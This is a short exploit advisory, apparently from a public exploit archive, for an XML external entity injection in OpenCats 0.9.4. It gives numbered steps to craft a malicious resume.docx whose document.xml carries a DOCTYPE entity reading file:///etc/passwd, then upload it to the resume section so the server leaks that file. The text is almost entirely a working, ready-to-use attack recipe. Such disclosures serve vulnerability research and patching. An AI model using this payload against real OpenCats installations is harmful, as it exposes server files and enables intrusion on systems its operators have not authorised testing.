OpenCats 0.9.4 XML Injection

2021.09.21
Credit: Raed Ahsan
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#Author : Raed Ahsan #Platform : OpenCats #Version : 0.9.4 #Date : 20/09/2021 #LinkedIn : https://linkedin.com/in/raed-ahsan <===============================================================================> *INSTRUCTIONS FOR EXPLOITING THE OPENCATS 0.9.4* <===============================================================================> 1 ) Create a file called "cv.py" 2 ) Paste the following into the cv.py file: from docx import Document document = Document() paragraph = document.add_paragraph("YOUR NAME") document.save("resume.docx") 3 ) Run the cv.py 4 ) a resume.docx file has been created. 5 ) unzip the resume.docx 6 ) cd (change directory) to word/ 7 ) use your editor and open document.xml 8 ) After the first line where <?xml starts, embed the following: <!DOCTYPE test [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> 9 ) Find where your name is written in the document.xml. The code will look something like this: <w:body><w:p><w:r><w:t>YOUR_NAME</w:t></w:r 10 ) remove your name and write "&test;". It will look like this: <w:body><w:p><w:r><w:t>&test;</w:t></w:r 11 ) Save the file and exit. 12 ) Go out of the word/ directory. 13 ) zip your resume.docx with document.xml using this command: zip resume.docx word/document.xml 14 ) If correctly zipped, it will respond with (deflated 65%) or 64% 15 ) upload the resume.docx onto the resume upload section of opencats. 16 ) the contents of /etc/passwd will be presented to you in the input field.


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